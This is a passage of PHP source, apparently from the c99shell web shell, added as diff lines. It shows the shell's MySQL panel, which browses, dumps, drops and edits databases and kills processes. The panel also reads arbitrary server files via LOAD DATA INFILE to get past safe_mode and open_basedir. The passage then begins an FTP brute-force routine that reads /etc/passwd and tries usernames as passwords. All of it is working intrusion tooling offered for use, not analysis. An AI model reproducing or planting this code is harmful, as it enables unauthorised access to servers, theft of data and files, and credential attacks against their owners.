COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "[Pages]&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\">^<select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\">^<select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with 